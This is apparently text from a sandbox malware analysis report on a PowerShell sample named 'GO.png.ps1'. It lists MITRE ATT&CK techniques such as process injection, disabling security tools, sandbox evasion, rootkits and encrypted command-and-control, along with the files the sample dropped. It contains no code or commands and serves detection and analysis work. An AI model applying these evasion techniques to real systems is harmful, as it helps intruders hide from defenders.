Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GO.png.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Mig\Mig.exe

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gja1kcl.zyb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yq5qche.hvs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yssfrnf.n4v.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3zx0xyio.hal.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_appywb3p.auw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_icph3qcb.b2t.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kht3zcm4.o2c.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcui0o2w.11w.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwlsiedf.1wy.psm1

Windows Analysis Report
GO.png.ps1

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre